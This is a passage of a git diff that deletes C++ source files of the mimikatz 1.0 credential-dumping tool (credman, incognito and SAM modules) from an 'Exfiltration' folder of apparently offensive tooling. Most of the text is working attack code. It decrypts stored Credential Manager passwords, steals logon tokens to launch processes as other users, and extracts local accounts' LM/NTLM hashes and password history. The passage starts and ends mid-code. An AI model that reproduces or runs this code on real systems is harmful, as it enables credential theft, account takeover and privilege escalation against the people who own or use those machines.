SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); - } - else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); - } - else - { - PENCRYPTED_CREDENTIALW pEncryptedCredential; - NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); - if(NT_SUCCESS(status)) - { - message << descEncryptedCredential(pEncryptedCredential, justSecurity); - CredFree(pEncryptedCredential); - } - else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); - } - } - CredFree(pCredential); - } - else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); - } else message << L"n.a. (credman KO)"; - return sendTo(monPipe, message.str()); -} - -wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix) -{ - wostringstream monStream; - - LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast(pEncryptedCredential->Cred.CredentialBlob)}; - wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword); - - if(justSecurity) - monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } "; - else monStream << - L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl << - L"\t " << prefix << L"Cred : " << cred << endl; - - return monStream.str(); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h deleted file mode 100644 index 60d12494..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" - -bool searchCredmanFuncs(); -__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments); -bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); - -wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L""); - -typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); -typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); - diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp deleted file mode 100644 index 7284da72..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "incognito.h" - -bool searchIncognitoFuncs() -{ - return searchLSAFuncs(); -} - -__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getTokenData, wstring(L"token"))); - return getLogonData(monPipe, mesArguments, &monProvider); -} - -__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - if(searchIncognitoFuncs()) - { - if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4))) - { - wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back(); - if(mesArguments->size() == 4) - { - idSecAppHigh = idSecAppLow; - idSecAppLow = mesArguments->at(1); - session = mesArguments->at(2); - } - LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); - DWORD maSession = _wtoi(session.c_str()); - HANDLE monToken; - monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : "; - NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken); - if(NT_SUCCESS(status)) - { - monStream << L"OK !" << endl << - L" * SetTokenInformation(TokenSessionId@" << maSession << L") : "; - if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0) - { - monStream << L"OK !" << endl << - L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : "; - PROCESS_INFORMATION mesInfosProcess; - if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken)) - { - monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl; - CloseHandle(mesInfosProcess.hThread); - CloseHandle(mesInfosProcess.hProcess); - } - else monStream << L"KO - " << mod_system::getWinError() << endl; - CloseHandle(monToken); - } - else monStream << L"KO - " << mod_system::getWinError() << endl; - } - else monStream << L"KO - " << mod_system::getWinError(false, status) << endl; - } - else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl; - } - return sendTo(monPipe, monStream.str()); -} - -bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) -{ - wostringstream monStream; - if(searchIncognitoFuncs()) - { - HANDLE monToken; - NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken); - if(NT_SUCCESS(status)) - { - monStream << L"Disponible !"; - DWORD maSession, tailleRetournee; - if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0) - { - monStream << L" - session d\'origine " << maSession; - CloseHandle(monToken); - } - else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl; - } - else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl; - } - return sendTo(monPipe, monStream.str()); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h deleted file mode 100644 index a8eae58e..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h +++ /dev/null @@ -1,13 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" - -bool searchIncognitoFuncs(); -__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments); -bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp deleted file mode 100644 index 5555b585..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp +++ /dev/null @@ -1,479 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "sam.h" - -PSAM_I_CONNECT SamIConnect = reinterpret_cast(NULL); -PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast(NULL); -PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast(NULL); -PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast(NULL); -PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast(NULL); -PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(NULL); -PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(NULL); -PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast(NULL); -PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast(NULL); -PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast(NULL); -PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast(NULL); - -bool searchSAMFuncs() -{ - if(!(SamIConnect && - SamrOpenDomain && - SamrOpenUser && - SamrEnumerateUsersInDomain && - SamrQueryInformationUser && - SamIFree_SAMPR_USER_INFO_BUFFER && - SamIFree_SAMPR_ENUMERATION_BUFFER && - SamrCloseHandle && - SamIGetPrivateData && - SystemFunction025 && - SystemFunction027)) - { - HMODULE hSamsrv = GetModuleHandle(L"samsrv"); - HMODULE hAdvapi32 = GetModuleHandle(L"advapi32"); - - if(hSamsrv && hAdvapi32) - { - SamIConnect = reinterpret_cast(GetProcAddress(hSamsrv, "SamIConnect")); - SamrOpenDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenDomain")); - SamrOpenUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenUser")); - SamrEnumerateUsersInDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain")); - SamrQueryInformationUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrQueryInformationUser")); - SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER")); - SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER")); - SamrCloseHandle = reinterpret_cast(GetProcAddress(hSamsrv, "SamrCloseHandle")); - SamIGetPrivateData = reinterpret_cast(GetProcAddress(hSamsrv, "SamIGetPrivateData")); - SystemFunction025 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction025")); - SystemFunction027 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction027")); - } - return (SamIConnect && - SamrOpenDomain && - SamrOpenUser && - SamrEnumerateUsersInDomain && - SamrQueryInformationUser && - SamIFree_SAMPR_USER_INFO_BUFFER && - SamIFree_SAMPR_ENUMERATION_BUFFER && - SamrCloseHandle); - } - else return true; -} - -__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl << - L"@SamIConnect = " << SamIConnect << endl << - L"@SamrOpenDomain = " << SamrOpenDomain << endl << - L"@SamrOpenUser = " << SamrOpenUser << endl << - L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl << - L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl << - L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl << - L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl << - L"@SamrCloseHandle = " << SamrCloseHandle << endl << - L"@SamIGetPrivateData = " << SamIGetPrivateData << endl << - L"@SystemFunction025 = " << SystemFunction025 << endl << - L"@SystemFunction027 = " << SystemFunction027 << endl; - return sendTo(monPipe, monStream.str()); -} - -__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments) -{ - if(searchSAMFuncs()) - { - bool sendOk = true, history = true, isCSV = false; - USER_INFORMATION_CLASS monType = UserInternal1Information; - - if(!mesArguments->empty()) - { - isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0); - monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information); - } - - LSA_HANDLE handlePolicy = NULL; - HSAM handleSam = NULL; - HDOMAIN handleDomain = NULL; - HUSER handleUser = NULL; - - LSA_OBJECT_ATTRIBUTES objectAttributes; - memset(&objectAttributes, NULL, sizeof(objectAttributes)); - PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo; - - NTSTATUS retourEnum = 0; - PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL; - DWORD EnumerationContext = 0; - DWORD EnumerationSize = 0; - - PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL; - - if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy))) - { - if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast(&ptrPolicyDomainInfo)))) - { - if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT))) - { - if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain))) - { - wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); - do - { - retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize); - if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES) - { - for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++) - { - wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); - ptrMesInfosUsers = NULL; - - if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser))) - { - if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers))) - { - WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers); - mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId; - mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); - - if(mesInfos.UserName.empty()) - mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); - - sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV); - SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType); - } - - if(history && SamIGetPrivateData != NULL) - { - sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV); - } - SamrCloseHandle(reinterpret_cast(&handleUser)); - } - else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n"); - } - SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser); - } - else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n"); - - } while(retourEnum == STATUS_MORE_ENTRIES && sendOk); - SamrCloseHandle(reinterpret_cast(&handleDomain)); - } - else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n"); - SamrCloseHandle(reinterpret_cast(&handleSam)); - } - else sendOk = sendTo(monPipe, L"Impossible de se connecter la base de scurit du domaine\n"); - LsaFreeMemory(ptrPolicyDomainInfo); - } - else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de scurit\n"); - LsaClose(handlePolicy); - } - else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de scurit\n"); - - return sendOk; - } - else return getSAMFunctions(monPipe, mesArguments); -} - -bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV) -{ - wstringstream maReponse; - - switch(type) - { - case UserInternal1Information: - if(isCSV) - { - maReponse << - mesInfos.UserId << L";" << - mesInfos.UserName << L";" << - mesInfos.DomaineName << L";" << - mesInfos.LmOwfPassword << L";" << - mesInfos.NtOwfPassword << L";" - ; - } - else - { - maReponse << - L"ID : " << mesInfos.UserId << endl << - L"Nom : " << mesInfos.UserName << endl << - L"Domaine : " << mesInfos.DomaineName << endl << - L"Hash LM : " << mesInfos.LmOwfPassword << endl << - L"Hash NTLM : " << mesInfos.NtOwfPassword << endl - ; - } - break; - case UserAllInformation: - if(isCSV) - { - maReponse << - mesInfos.UserId << L';' << - mesInfos.UserName << L';' << - mesInfos.DomaineName << L';' << - protectMe(mesInfos.FullName) << L';' << - mesInfos.isActif << L';' << - mesInfos.isLocked << L';' << - mesInfos.TypeCompte << L';' << - protectMe(mesInfos.UserComment) << L';' << - protectMe(mesInfos.AdminComment) << L';' << - mesInfos.AccountExpires_strict << L';' << - protectMe(mesInfos.WorkStations) << L';' << - protectMe(mesInfos.HomeDirectory) << L';' << - protectMe(mesInfos.HomeDirectoryDrive) << L';' << - protectMe(mesInfos.ProfilePath) << L';' << - protectMe(mesInfos.ScriptPath) << L';' << - mesInfos.LogonCount << L';' << - mesInfos.BadPasswordCount << L';' << - mesInfos.LastLogon_strict << L';' << - mesInfos.LastLogoff_strict << L';' << - mesInfos.PasswordLastSet_strict << L';' << - mesInfos.isPasswordNotExpire << L';' << - mesInfos.isPasswordNotRequired << L';' << - mesInfos.isPasswordExpired << L';' << - mesInfos.PasswordCanChange_strict << L';' << - mesInfos.PasswordMustChange_strict << L';' << - mesInfos.LmOwfPassword << L';' << - mesInfos.NtOwfPassword << L';' - ; - } - else - { - maReponse << boolalpha << - L"Compte" << endl << - L"======" << endl << - L"ID : " << mesInfos.UserId << endl << - L"Nom : " << mesInfos.UserName << endl << - L"Domaine : " << mesInfos.DomaineName << endl << - L"Nom complet : " << mesInfos.FullName << endl << - L"Actif : " << mesInfos.isActif << endl << - L"Verouill : " << mesInfos.isLocked << endl << - L"Type : " << mesInfos.TypeCompte << endl << - L"Commentaire utilisateur : " << mesInfos.UserComment << endl << - L"Commentaire admin : " << mesInfos.AdminComment << endl << - L"Expiration : " << mesInfos.AccountExpires << endl << - L"Station(s) : " << mesInfos.WorkStations << endl << - endl << - L"Chemins" << endl << - L"-------" << endl << - L"Rpertoire de base : " << mesInfos.HomeDirectory << endl << - L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl << - L"Profil : " << mesInfos.ProfilePath << endl << - L"Script de dmarrage : " << mesInfos.ScriptPath << endl << - endl << - L"Connexions" << endl << - L"----------" << endl << - L"Nombre : " << mesInfos.LogonCount << endl << - L"Echecs : " << mesInfos.BadPasswordCount << endl << - L"Dernire connexion : " << mesInfos.LastLogon << endl << - L"Dernire dconnexion : " << mesInfos.LastLogoff << endl << - endl << - L"Mot de passe" << endl << - L"------------" << endl << - L"Dernier changement : " << mesInfos.PasswordLastSet << endl << - L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl << - L"Peut tre vide : " << mesInfos.isPasswordNotRequired << endl << - L"Mot de passe expir : " << mesInfos.isPasswordExpired << endl << - L"Possibilit changement : " << mesInfos.PasswordCanChange << endl << - L"Obligation changement : " << mesInfos.PasswordMustChange << endl << - endl << - L"Hashs" << endl << - L"-----" << endl << - L"Hash LM : " << mesInfos.LmOwfPassword << endl << - L"Hash NTLM : " << mesInfos.NtOwfPassword << endl << - endl - ; - } - break; - } - - maReponse << endl; - return sendTo(monPipe, maReponse.str()); -} - -WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr) -{ - WUserAllInformation mesInfos; - PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL; - PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL; - - switch(type) - { - case UserInternal1Information: - ptrPassword = reinterpret_cast(monPtr); - - mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0; - mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0; - - if(mesInfos.LmPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data)); - if(mesInfos.NtPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data)); - break; - - case UserAllInformation: - ptrAllInformations = reinterpret_cast(monPtr); - - mesInfos.UserId = ptrAllInformations->UserId; - mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName); - mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName); - - mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0; - mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0; - - if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT) - mesInfos.TypeCompte.assign(L"Contrleur de domaine"); - else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT) - mesInfos.TypeCompte.assign(L"Ordinateur"); - else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT) - mesInfos.TypeCompte.assign(L"Utilisateur"); - else - mesInfos.TypeCompte.assign(L"Inconnu"); - - mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment); - mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment); - mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires); - mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true); - mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations); - mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory); - mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive); - mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath); - mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath); - mesInfos.LogonCount = ptrAllInformations->LogonCount; - mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount; - mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon); - mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true); - mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff); - mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true); - mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet); - mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true); - mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0; - mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0; - mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0; - mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange); - mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true); - mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange); - mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true); - mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0; - mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0; - - if(mesInfos.LmPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length); - if(mesInfos.NtPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length); - - break; - } - return mesInfos; -} - -bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV) -{ - WUserAllInformation mesInfos; - mesInfos.DomaineName = domainName; - mesInfos.UserId = rid; - - DWORD Context = 2, Type = 0, tailleBlob; - PWHashHistory pMesDatas = NULL; - bool sendOk = true; - - if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas))) - { - unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16; - - for(unsigned short i = 1; i < nbEntrees && sendOk; i++) - { - BYTE monBuff[16] = {0}; - - wostringstream userNameQualif; - userNameQualif << monUserName << L"{p-" << i << L"}"; - mesInfos.UserName = userNameQualif.str(); - - if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff))) - { - mesInfos.LmPasswordPresent = 1; - mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10); - } - else - { - mesInfos.LmPasswordPresent = 0; - mesInfos.LmOwfPassword = L"chec de dcodage :("; - } - - if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff))) - { - mesInfos.NtPasswordPresent = 1; - mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10); - } - else - { - mesInfos.NtPasswordPresent = 0; - mesInfos.NtOwfPassword = L"chec de dcodage :("; - } - - sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV); - } - LocalFree(pMesDatas); - } - return sendOk; -} - -wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict) -{ - wostringstream reponse; - - if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX) - { - if(!isStrict) - reponse << L"N\'arrive jamais"; - } - else if(monInt.LowPart == 0 && monInt.HighPart == 0) - { - if(!isStrict) - reponse << L"N\'est pas encore arriv"; - } - else - { - SYSTEMTIME monTimeStamp; - if(FileTimeToSystemTime(reinterpret_cast(&monInt), &monTimeStamp) != FALSE) - { - reponse << dec << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" << - setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond; - } - } - return reponse.str(); -} - -wstring protectMe(wstring &maChaine) -{ - wstring result; - if(!maChaine.empty()) - { - result = L"\""; - result.append(maChaine); - result.append(L"\""); - } - return result; -} - -void correctMe(wstring &maChaine) -{ - unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20}; - unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 }; - - for(unsigned int i = 0; i < maChaine.size() ; i++) - { - const BYTE * monPtr = reinterpret_cast(&maChaine.c_str()[i]); - for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2) - { - if(*monPtr == source[j] && *(monPtr + 1) == source[j+1]) - { - *const_cast(monPtr) = replac[j]; - *const_cast(monPtr + 1) = replac[j + 1]; - break; - } - } - } -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h deleted file mode 100644 index 870aa4d5..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h +++ /dev/null @@ -1,210 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "mod_text.h" -#include -#include - -bool searchSAMFuncs(); -__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments); - -#define SAM_SERVER_CONNECT 0x00000001 -#define DOMAIN_ALL_ACCESS 0x000F07FF -#define USER_ALL_ACCESS 0x000F07FF - -#define USER_ACCOUNT_DISABLED 0x00000001 -#define USER_PASSWORD_NOT_REQUIRED 0x00000004 -#define USER_NORMAL_ACCOUNT 0x00000010 -#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080 -#define USER_SERVER_TRUST_ACCOUNT 0x00000100 -#define USER_DONT_EXPIRE_PASSWORD 0x00000200 -#define USER_ACCOUNT_AUTO_LOCKED 0x00000400 -#define 